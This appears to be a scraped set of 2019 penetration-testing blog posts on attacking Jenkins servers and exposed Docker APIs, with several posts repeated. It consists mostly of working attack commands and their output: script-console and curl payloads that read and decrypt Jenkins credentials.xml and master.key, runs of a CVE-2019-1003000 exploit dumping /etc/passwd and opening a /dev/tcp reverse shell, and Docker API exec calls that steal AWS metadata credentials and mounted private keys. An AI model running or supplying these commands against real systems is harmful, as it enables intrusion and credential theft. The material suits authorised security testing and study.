If you find yourself on a Jenkins box with script console access you can decrypt the saved passwords in credentials.xml in the following way:
hashed_pw='$PASSWORDHASH'
passwd = hudson.util.Secret.decrypt(hashed_pw)
println(passwd)
You need to perform this on the the Jenkins system itself as it's using the local master.key and hudson.util.Secret
Screenshot below
Code to get the credentials.xml from the script console
Windows
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'cmd.exe /c type credentials.xml'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
*nix
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'cat credentials.xml'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
If you just want to do it with curl you can hit the scriptText endpoint and do something like this:
Windows:
curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=def+sout+%3D+new StringBuffer(),serr = new StringBuffer()%0D%0Adef+proc+%3D+%27cmd.exe+/c+type+credentials.xml%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%3E+%24sout+err%3E+%24serr%22&Submit=Run"
Also because this syntax took me a minute to figure out for files in subdirectories:
curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=def+sout+%3D+new StringBuffer(),serr = new StringBuffer()%0D%0Adef+proc+%3D+%27cmd.exe+/c+type+secrets%5C\master.key%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%3E+%24sout+err%3E+%24serr%22&Submit=Run
*nix
curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=def+sout+%3D+new StringBuffer(),serr = new StringBuffer()%0D%0Adef+proc+%3D+%27cat+credentials.xml%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%3E+%24sout+err%3E+%24serr%22&Submit=Run"
Then to decrypt any passwords:
curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=println(hudson.util.Secret.fromString('7pXrOOFP1XG62UsWyeeSI1m06YaOFI3s26WVkOsTUx0=').getPlainText())"
If you are in a position where you have the files but no access to jenkins you can use:
https://github.com/tweksteen/jenkins-decrypt
There is a small bug in the python when it does the regex and i havent bothered to fix it at the time of this post. But here is version where instead of the regex i'm just printing out the values and you can see the decrypted password. The change is line 55.
Edit 4 March 19: the script only regexs for password (line 72), you might need to swap out the regex if there are ssh keys or other secrets...read the credentials.xml file :-)
Edit 8 April 19: This tweet outlines another similar way
https://twitter.com/netmux/status/1115237815590236160
Thursday, February 28, 2019
Wednesday, February 27, 2019
Jenkins - SECURITY-200 / CVE-2015-5323 PoC
API tokens of other users available to admins
SECURITY-200 / CVE-2015-5323
API tokens of other users were exposed to admins by default. On instances that don’t implicitly grant RunScripts permission to admins, this allowed admins to run scripts with another user’s credentials.
Affected versions
All Jenkins LTS releases up to and including 1.625.1
PoC
From the script console:
SECURITY-200 / CVE-2015-5323
API tokens of other users were exposed to admins by default. On instances that don’t implicitly grant RunScripts permission to admins, this allowed admins to run scripts with another user’s credentials.
Affected versions
All Jenkins main line releases up to and including 1.637
All Jenkins LTS releases up to and including 1.625.1
PoC
Tested against Jenkins 1.6.37
From the script console:
Jenkins Master Post
A collection of posts on attacking Jenkins
http://www.labofapenetrationtester.com/2014/08/script-execution-and-privilege-esc-jenkins.htmlManipulating build steps to get RCE
https://medium.com/@uranium238/shodan-jenkins-to-get-rces-on-servers-6b6ec7c960e2
Using the terminal plugin to get RCE
https://sharadchhetri.com/2018/12/02/managing-jenkins-plugins/
Getting started with Jenkins Plugins
https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html
Vulns in
- Pipeline: Declarative Plugin up to and including 1.3.4
- Pipeline: Groovy Plugin up to and including 2.61
- Script Security Plugin up to and including 1.49
http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html
CVE-2019-1003000 (https://jenkins.io/security/advisory/2019-01-08/#SECURITY-1266)
https://github.com/Coalfire-Research/java-deserialization-exploits/tree/master/Jenkins
https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2-xstream
CVE-2015-8103 & CVE-2016-0792
https://github.com/nixawk/labs/tree/master/CVE-2017-1000353
https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2017-1000353
https://www.twistlock.com/2017/06/18/jenkins-java-deserialization/
CVE-2017-1000353 PoC
https://cloud.tencent.com/developer/article/1165414
https://github.com/anntsmart/CVE
CVE-2018-1999002 (windows) Arbitrary file read
A arbitrary file read vulnerability exists in Jenkins 2.132 and earlier, 2.121.1 and earlier in the Stapler web framework. Under Windows, directories that don't exist can be traversed by ../, but not for Linux. Then this vulnerability can be read by any file under Windows. Under Linux, you need to have a directory with _ in the Jenkins plugins directory.
https://www.crowdstrike.com/blog/your-jenkins-belongs-to-us-now-abusing-continuous-integration-systems/
https://www.n00py.io/2017/01/compromising-jenkins-and-extracting-credentials/
Decrypting credentials.xml
https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/
Jenkins, windows, powershell
https://securitynews.sonicwall.com/xmlpost/jenkins-ci-server-at-risk-high-risk-vulnerbaility/
https://www.zdnet.com/article/thousands-of-jenkins-servers-will-let-anonymous-users-become-admins/
https://www.cyberark.com/threat-research-blog/tripping-the-jenkins-main-security-circuit-breaker-an-inside-look-at-two-jenkins-security-vulnerabilities/
CVE-2018-1999001 malformed request moves the config.xml file, after restart anyone can log in - couple it with a DoS (CVE-2018-1999043) to force restart
- Jenkins weekly up to and including 2.132
- Jenkins LTS up to and including 2.121.1
CG Posts:
https://carnal0wnage.attackresearch.com/2019/02/jenkins-messing-with-new-exploits-pt1.htmlUsername enumeration Jenkins 2.137 and below
https://carnal0wnage.attackresearch.com/2019/02/jenkins-security-200-cve-2015-5323-poc.html
Jenkins - SECURITY-200 / CVE-2015-5323 PoC (API tokens of other users available to admins)
https://carnal0wnage.attackresearch.com/2019/02/jenkins-security-180cve-2015-1814-poc.html
Jenkins - SECURITY-180/CVE-2015-1814 PoC (Forced Token Change)
https://carnal0wnage.attackresearch.com/2019/02/jenkins-decrypting-credentialsxml.html
Decrypting Jenkins credentials.xml
https://carnal0wnage.attackresearch.com/2019/03/jenkins-cve-2018-1000600-poc.html
Jenkins - CVE-2018-1000600 SSRF in GitHub plugin
https://carnal0wnage.attackresearch.com/2019/02/jenkins-messing-with-exploits-pt2-cve.html
Jenkins - CVE-2019-1003000 Pt 1
https://carnal0wnage.attackresearch.com/2019/03/jenkins-messing-with-exploits-pt3-cve.html
Jenkins - CVE-2019-1003000 Pt 2 - Orange Tsai exploit
https://carnal0wnage.attackresearch.com/2019/03/jenkins-identify-ip-addresses-of-nodes.html
Jenkins - Identify IP Addresses of nodes
Jenkins - messing with exploits pt2 - CVE-2019-1003000
After the release of Orange Tsai's exploit for Jenkins. I've been doing some poking. PreAuth RCE against Jenkins is something everyone wants.
While not totally related to the blog post and tweet the following exploit came up while searching.
What I have figured out that is important is the plug versions as it relates to these latest round of Jenkins exploits. TBH I never paid much attention to the plugins in the past as the issues have been with core Jenkins (as was the first blog post) but you can get a look at them by going to jenkins-server/pluginManager/installed
AFAIK you cant enumerate plugins installed and their version without (elevated) authentication like you can with things like WordPress. If you know how, please let me know. For the time being i guess it's just throwing things to see what sticks.
As I mentioned, the latest particular vulns are issues with installed Jenkins plugins. Taking a look at CVE-2019-1003000 (https://nvd.nist.gov/vuln/detail/CVE-2019-1003000) we can see that it affects the Script Security Plugin (the nist.gov says 2.49 but it's a typo and should be 1.49) as seen on the Jenkins advisory https://jenkins.io/security/advisory/2019-01-08/#SECURITY-1266
An exploit for the issue exists and is available here: https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc it even comes with a docker config to spin up a vulnerable version to try it out on. What's important about this particular exploit is that it IS post auth but it doesn't require script permissions, only Overall/Read permission and Job/Configure permissions.
I'm seeing more and more servers/admins (rightfully) block access to the script & scriptText console because it's well documented that is an immediate RCE.
I encourage you to read the whole readme file in the repo but the most important part is here:
Running the exploit:
python2.7 exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "cat /etc/passwd"
[+] connecting to jenkins...
[+] crafting payload...
[+] modifying job with payload...
[+] putting job build to queue...
[+] waiting for job to build...
[+] restoring job...
[+] fetching output...
[+] OUTPUT:
Started by user User 1
Running in Durability level: MAX_SURVIVABILITY
[Pipeline] echo
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/bin/sh
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
jenkins:x:1000:1000:Linux User,,,:/var/jenkins_home:/bin/bash
[Pipeline] End of Pipeline
Finished: SUCCESS
you can certainly pull a reverse shell from it as well.
python2.7 exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "bash -i >& /dev/tcp/10.0.0.16/4444 0>&1"
[+] connecting to jenkins...
[+] crafting payload...
[+] modifying job with payload...
[+] putting job build to queue...
[+] waiting for job to build...
[+] restoring job...
[+] fetching output...
[+] OUTPUT:
Started by user User 1
Running in Durability level: MAX_SURVIVABILITY
and you get:
nc -l 4444 -vv
bash: cannot set terminal process group (7): Not a tty
bash: no job control in this shell
bash-4.4$
bash-4.4$
bash-4.4$ whoami
whoami
jenkins
bash-4.4$
The TLDR is you can use this exploit to get a shell if an older version of the Script Security Plugin is installed and if you have Overall/Read permission and Job/Configure permission which a regular Jenkins user is more inclined to have and this exploit doesn't require using the script console.
While not totally related to the blog post and tweet the following exploit came up while searching.
What I have figured out that is important is the plug versions as it relates to these latest round of Jenkins exploits. TBH I never paid much attention to the plugins in the past as the issues have been with core Jenkins (as was the first blog post) but you can get a look at them by going to jenkins-server/pluginManager/installed
Jenkins plugin manager |
It does require admin permissions or you get this:
No permissions for Jenkins plugin manager |
If you do have permissions you can also hit it with the jenkins-cli client and pull the info
$ java -jar jenkins-cli.jar -s http://10.0.0.166:8080/ -auth admin:admin list-plugins
jsch JSch dependency plugin 0.1.55
structs Structs Plugin 1.17
apache-httpcomponents-client-4-api Apache HttpComponents Client 4.x API Plugin 4.5.5-3.0
mailer Mailer Plugin 1.23
command-launcher Command Agent Launcher Plugin 1.3
workflow-api Pipeline: API 2.33
workflow-job Pipeline: Job 2.31
ssh-credentials SSH Credentials Plugin 1.14
authentication-tokens Authentication Tokens API Plugin 1.3
workflow-cps-global-lib Pipeline: Shared Groovy Libraries 2.13
jackson2-api Jackson 2 API Plugin 2.9.8
pipeline-stage-tags-metadata Pipeline: Stage Tags Metadata 1.3.4.1
pipeline-milestone-step Pipeline: Milestone Step 1.3.1
credentials Credentials Plugin 2.1.18
lockable-resources Lockable Resources plugin 2.4
jquery-detached JavaScript GUI Lib: jQuery bundles (jQuery and jQuery UI) plugin 1.2.1
workflow-scm-step Pipeline: SCM Step 2.7
matrix-auth Matrix Authorization Strategy Plugin 2.3
matrix-project Matrix Project Plugin 1.13
pipeline-stage-step Pipeline: Stage Step 2.3
pipeline-build-step Pipeline: Build Step 2.7
pipeline-input-step Pipeline: Input Step 2.9
bouncycastle-api bouncycastle API Plugin 2.17
handlebars JavaScript GUI Lib: Handlebars bundle plugin 1.1.1
momentjs JavaScript GUI Lib: Moment.js bundle plugin 1.1.1
plain-credentials Plain Credentials Plugin 1.5
docker-commons Docker Commons Plugin 1.13
git-client Git client plugin 2.7.6
pipeline-rest-api Pipeline: REST API Plugin 2.10
workflow-basic-steps Pipeline: Basic Steps 2.14
credentials-binding Credentials Binding Plugin 1.17 (1.18)
pipeline-stage-view Pipeline: Stage View Plugin 2.10
workflow-multibranch Pipeline: Multibranch 2.20
script-security Script Security Plugin 1.49 (1.53)
git-server GIT server Plugin 1.7
workflow-step-api Pipeline: Step API 2.19
pipeline-graph-analysis Pipeline Graph Analysis Plugin 1.9
pipeline-model-api Pipeline: Model API 1.3.4.1
workflow-cps Pipeline: Groovy 2.61 (2.63)
branch-api Branch API Plugin 2.1.2
jdk-tool JDK Tool Plugin 1.2
cloudbees-folder Folders Plugin 6.7
durable-task Durable Task Plugin 1.29
junit JUnit Plugin 1.27
scm-api SCM API Plugin 2.3.0
ace-editor JavaScript GUI Lib: ACE Editor bundle plugin 1.1
display-url-api Display URL API 2.3.0
workflow-support Pipeline: Supporting APIs 3.2
AFAIK you cant enumerate plugins installed and their version without (elevated) authentication like you can with things like WordPress. If you know how, please let me know. For the time being i guess it's just throwing things to see what sticks.
As I mentioned, the latest particular vulns are issues with installed Jenkins plugins. Taking a look at CVE-2019-1003000 (https://nvd.nist.gov/vuln/detail/CVE-2019-1003000) we can see that it affects the Script Security Plugin (the nist.gov says 2.49 but it's a typo and should be 1.49) as seen on the Jenkins advisory https://jenkins.io/security/advisory/2019-01-08/#SECURITY-1266
An exploit for the issue exists and is available here: https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc it even comes with a docker config to spin up a vulnerable version to try it out on. What's important about this particular exploit is that it IS post auth but it doesn't require script permissions, only Overall/Read permission and Job/Configure permissions.
I'm seeing more and more servers/admins (rightfully) block access to the script & scriptText console because it's well documented that is an immediate RCE.
no script permission |
A flaw was found in Pipeline: Declarative Plugin before version 1.3.4.1, Pipeline: Groovy Plugin before version 2.61.1 and Script Security Plugin before version 1.50
This PoC is using a user with Overall/Read and Job/Configure permission to execute a maliciously modified build script in sandbox mode, and try to bypass the sandbox mode limitation in order to run arbitrary scripts (in this case, we will execute system command).
As a background, Jenkins's pipeline build script is written in groovy. This build script will be compiled and executed in Jenkins master or node, containing definition of the pipeline, e.g. what to do in slave nodes. Jenkins also provide the script to be executed in sandbox mode. In sandbox mode, all dangerous functions are blacklisted, so regular user cannot do anything malicious to the Jenkins server.
Running the exploit:
python2.7 exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "cat /etc/passwd"
[+] connecting to jenkins...
[+] crafting payload...
[+] modifying job with payload...
[+] putting job build to queue...
[+] waiting for job to build...
[+] restoring job...
[+] fetching output...
[+] OUTPUT:
Started by user User 1
Running in Durability level: MAX_SURVIVABILITY
[Pipeline] echo
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/bin/sh
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
jenkins:x:1000:1000:Linux User,,,:/var/jenkins_home:/bin/bash
[Pipeline] End of Pipeline
Finished: SUCCESS
you can certainly pull a reverse shell from it as well.
python2.7 exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "bash -i >& /dev/tcp/10.0.0.16/4444 0>&1"
[+] connecting to jenkins...
[+] crafting payload...
[+] modifying job with payload...
[+] putting job build to queue...
[+] waiting for job to build...
[+] restoring job...
[+] fetching output...
[+] OUTPUT:
Started by user User 1
Running in Durability level: MAX_SURVIVABILITY
and you get:
nc -l 4444 -vv
bash: cannot set terminal process group (7): Not a tty
bash: no job control in this shell
bash-4.4$
bash-4.4$
bash-4.4$ whoami
whoami
jenkins
bash-4.4$
The TLDR is you can use this exploit to get a shell if an older version of the Script Security Plugin is installed and if you have Overall/Read permission and Job/Configure permission which a regular Jenkins user is more inclined to have and this exploit doesn't require using the script console.
Tuesday, February 26, 2019
Jenkins - messing with new exploits pt1
Jenkins notes for:
https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html
http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html
to download old jenkins WAR files
http://updates.jenkins-ci.org/download/war/
1st bug in the blog is a username enumeration bug in
PoC:
https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html
http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html
to download old jenkins WAR files
http://updates.jenkins-ci.org/download/war/
1st bug in the blog is a username enumeration bug in
- Jenkins weekly up to and including 2.145
- Jenkins LTS up to and including 2.138.1
From the blog:
Pre-auth User Information Leakage
While testing Jenkins, it’s a common scenario that you want to perform a brute-force attack but you don’t know which account you can try(a valid credential can read the source at least so it’s worth to be the first attempt).
In this situation, this vulnerability is useful!Due to the lack of permission check on search functionality. By modifying thekeyword
from a to z, an attacker can list all users on Jenkins!
PoC:
http://jenkins.local/securityRealm/user/admin/search/index?q=[keyword]
/securityRealm/user/admin/search/index?q=a |
/securityRealm/user/admin/search/index?q=c
ALERT
Even though the advisory says 2.138_1 i tested against 2.138 and the exploit doesn't work. SOOOOO you are looking for Jenkins <= 2.137 If jenkins is really old the above should work and also https://nvd.nist.gov/vuln/detail/CVE-2017-1000395 where you can get the email address via similar query. |
- versions up to (including) 2.73.1
- versions up to (including) 2.83
PoC:
http://jenkins.local/securityRealm/user/admin/api/xml
with 2.137 you can get username/id/securityRealm/user/cg/api/xml |
Friday, February 1, 2019
Abusing Docker API | Socket
Notes on abusing open Docker sockets
This wont cover breaking out of docker containers
Ports: usually 2375 & 2376 but can be anything
Refs:
https://blog.sourcerer.io/a-crash-course-on-docker-learn-to-swim-with-the-big-fish-6ff25e8958b0
https://www.slideshare.net/BorgHan/hacking-docker-the-easy-way
https://blog.secureideas.com/2018/05/escaping-the-whale-things-you-probably-shouldnt-do-with-docker-part-1.html
https://blog.secureideas.com/2018/08/escaping-the-whale-things-you-probably-shouldnt-do-with-docker-part-2.html
https://infoslack.com/devops/exploring-docker-remote-api
https://www.blackhat.com/docs/us-17/thursday/us-17-Cherny-Well-That-Escalated-Quickly-How-Abusing-The-Docker-API-Led-To-Remote-Code-Execution-Same-Origin-Bypass-And-Persistence_wp.pdf
https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/
https://cert.litnet.lt/2016/11/owning-system-through-an-exposed-docker-engine/
https://medium.com/@riccardo.ancarani94/attacking-docker-exposed-api-3e01ffc3c124
https://www.exploit-db.com/exploits/42356
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/docker_daemon_tcp.rb
http://blog.nibblesec.org/2014/09/abusing-dockers-remote-apis.html
https://www.prodefence.org/knock-knock-docker-will-you-let-me-in-open-api-abuse-in-docker-containers/
https://blog.ropnop.com/plundering-docker-images/
Enable docker socket (Create practice locations)
https://success.docker.com/article/how-do-i-enable-the-remote-api-for-dockerd
Having the docker API | socket exposed is essentially granting root to any of the containers on the system
The daemon listens on unix:///var/run/docker.sock but you can bind Docker to another host/port or a Unix socket.
The docker socket is the socket the Docker daemon listens on by default and it can be used to communicate with the daemon from within a container, or if configured, outside the container against the host running docker.
All the docker socket magic is happening via the docker API. For example if we wanted to spin up an nginx container we'd do the below:
Create a nginx container
The following command uses curl to send the {“Image”:”nginx”} payload to the /containers/create endpoint of the Docker daemon through the unix socket. This will create a container based on Nginx and return its ID.
$ curl -XPOST --unix-socket /var/run/docker.sock -d '{"Image":"nginx"}' -H 'Content-Type: application/json' http://localhost/containers/create
{"Id":"fcb65c6147efb862d5ea3a2ef20e793c52f0fafa3eb04e4292cb4784c5777d65","Warnings":null}
Start the container
$ curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/fcb65c6147efb862d5ea3a2ef20e793c52f0fafa3eb04e4292cb4784c5777d65/start
As mentioned above you can also have the docker socket listen on a TCP port
You can validate it's docker by hitting it with a version request
$ curl -s http://open.docker.socket:2375/version | jq
{
"Version": "1.13.1",
"ApiVersion": "1.26",
"MinAPIVersion": "1.12",
"GitCommit": "07f3374/1.13.1",
"GoVersion": "go1.9.4",
"Os": "linux",
"Arch": "amd64",
"KernelVersion": "3.10.0-514.26.2.el7.x86_64",
"BuildTime": "2018-12-07T16:13:51.683697055+00:00",
"PkgVersion": "docker-1.13.1-88.git07f3374.el7.centos.x86_64"
}
or with the docker client
docker -H open.docker.socket:2375 version
Server:
Engine:
Version: 1.13.1
API version: 1.26 (minimum version 1.12)
Go version: go1.9.4
Git commit: 07f3374/1.13.1
Built: Fri Dec 7 16:13:51 2018
OS/Arch: linux/amd64
Experimental: false
This is basically a shell into the container
Get a list of running containers with the ps command
docker -H open.docker.socket:2375 ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
72cd30d28e5c gogs/gogs "/app/gogs/docker/st…" 5 days ago Up 5 days 0.0.0.0:3000->3000/tcp, 0.0.0.0:10022->22/tcp gogs
b522a9034b30 jdk1.8 "/bin/bash" 5 days ago Up 5 days myjdk8
0f5947860c17 centos/mysql-57-centos7 "container-entrypoin…" 8 days ago Up 8 days 0.0.0.0:3306->3306/tcp mysql
3965c004c7a7 192.168.32.134:5000/tensquare_config:1.0-SNAPSHOT "java -jar /app.jar" 8 days ago Up 8 days 0.0.0.0:12000->12000/tcp config
3f466b754971 42cb59080921 "/bin/bash" 8 days ago Up 8 days jdk8
6499013fdc2d registry "/entrypoint.sh /etc…" 8 days ago Up 8 days 0.0.0.0:5000->5000/tcp registry
Exec into one of the containers
docker -H open.docker.socket:2375 exec -it mysql /bin/bash
bash-4.2$ whoami
mysql
Other commands
Are there some stopped containers?
docker -H open.docker.socket:2375 ps -a
What are the images pulled on the host machine?
docker -H open.docker.socket:2375 images
I've frequently not been able to get the docker client to work well when it comes to the exec command but you can still code exec in the container with the API. The example below is using curl to interact with the API over https (if enabled). to create and exec job, set up the variable to receive the out put and then start the exec so you can get the output.
Using curl to hit the API
Sometimes you'll see 2376 up for the TLS endpoint. I haven't been able to connect to it with the docker client but you can with curl no problem to hit the docker API.
Docker socket to metadata URL
https://docs.docker.com/engine/api/v1.37/#operation/ContainerExec
Below is an example of hitting the internal AWS metadata URL and getting the output
list containers:
curl --insecure https://tls-opendocker.socker:2376/containers/json | jq
[
{
"Id": "f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668",
"Names": [
"/docker_snip_1"
],
"Image": "dotnetify",
"ImageID": "sha256:23b66a91f928ea6a49bce1be4eabedbafd41c5dfa4e76c1a94062590e54550ca",
"Command": "cmd /S /C 'dotnet netify-temp.dll'",
"Created": 1541018555,
"Ports": [
{
"IP": "0.0.0.0",
"PrivatePort": 443,
"PublicPort": 50278,
---SNIP---
List processes in a container:
curl --insecure https://tls-opendocker.socker:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
{
"Processes": [
[
"smss.exe",
"7868",
"00:00:00.062",
"225.3kB"
],
[
"csrss.exe",
"10980",
"00:00:00.859",
"421.9kB"
],
[
"wininit.exe",
"10536",
"00:00:00.078",
"606.2kB"
],
[
"services.exe",
"10768",
"00:00:00.687",
"1.208MB"
],
[
"lsass.exe",
"10416",
"00:00:36.000",
"4.325MB"
],
---SNIP---
Set up and exec job to hit the metadata URL:
curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
{"Id":"4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55"}
Get the output:
curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
{
"Code" : "Success",
"LastUpdated" : "2019-01-29T20:12:58Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIATRSNIP",
"SecretAccessKey" : "CD6/h/egYHmYUSNIPSNIPSNIPSNIPSNIP",
"Token" : "FQoGZXIvYXdzEB4aDCQSM0rRV/SNIPSNIPSNIP",
"Expiration" : "2019-01-30T02:43:34Z"
}
Docker secrets
relevant reading https://docs.docker.com/engine/swarm/secrets/
list secrets (no secrets/swarm not set up)
curl -s --insecure https://tls-opendocker.socket:2376/secrets | jq
{ "message": "This node is not a swarm manager. Use \"docker swarm init\" or \"docker swarm join\" to connect this node to swarm and try again."}
list secrets (they exist)
$ curl -s --insecure https://tls-opendocker.socket:2376/secrets | jq
[
{
"ID": "9h3useaicj3tr465ejg2koud5",
"Version": {
"Index": 21
},
"CreatedAt": "2018-07-06T10:19:50.677702428Z",
"UpdatedAt": "2018-07-06T10:19:50.677702428Z",
"Spec": {
"Name": "registry-key.key",
"Labels": {} }},
Check what is mounted
curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
{"Id":"7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa"}
Get the output by starting the exec
curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
overlay on / type overlay
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)
sysfs on /sys type sysfs (ro,nosuid,nodev,noexec,relatime)
---SNIP---
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
/dev/sda2 on /etc/resolv.conf type ext4 (rw,relatime,errors=remount-ro,data=ordered)
/dev/sda2 on /etc/hostname type ext4 (rw,relatime,errors=remount-ro,data=ordered)
/dev/sda2 on /etc/hosts type ext4 (rw,relatime,errors=remount-ro,data=ordered)
shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)
/dev/sda2 on /var/lib/registry type ext4 (rw,relatime,errors=remount-ro,data=ordered)
tmpfs on /run/secrets/registry-cert.crt type tmpfs (ro,relatime)
tmpfs on /run/secrets/htpasswd type tmpfs (ro,relatime)
tmpfs on /run/secrets/registry-key.key type tmpfs (ro,relatime)
---SNIP---
Cat the mounted secret
curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
{"Id":"3a11aeaf81b7f343e7f4ddabb409ad1eb6024141a2cfd409e5e56b4f221a7c30"}
curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/3a11aeaf81b7f343e7f4ddabb409ad1eb6024141a2cfd409e5e56b4f221a7c30/start -d '{}'
-----BEGIN RSA PRIVATE KEY-----
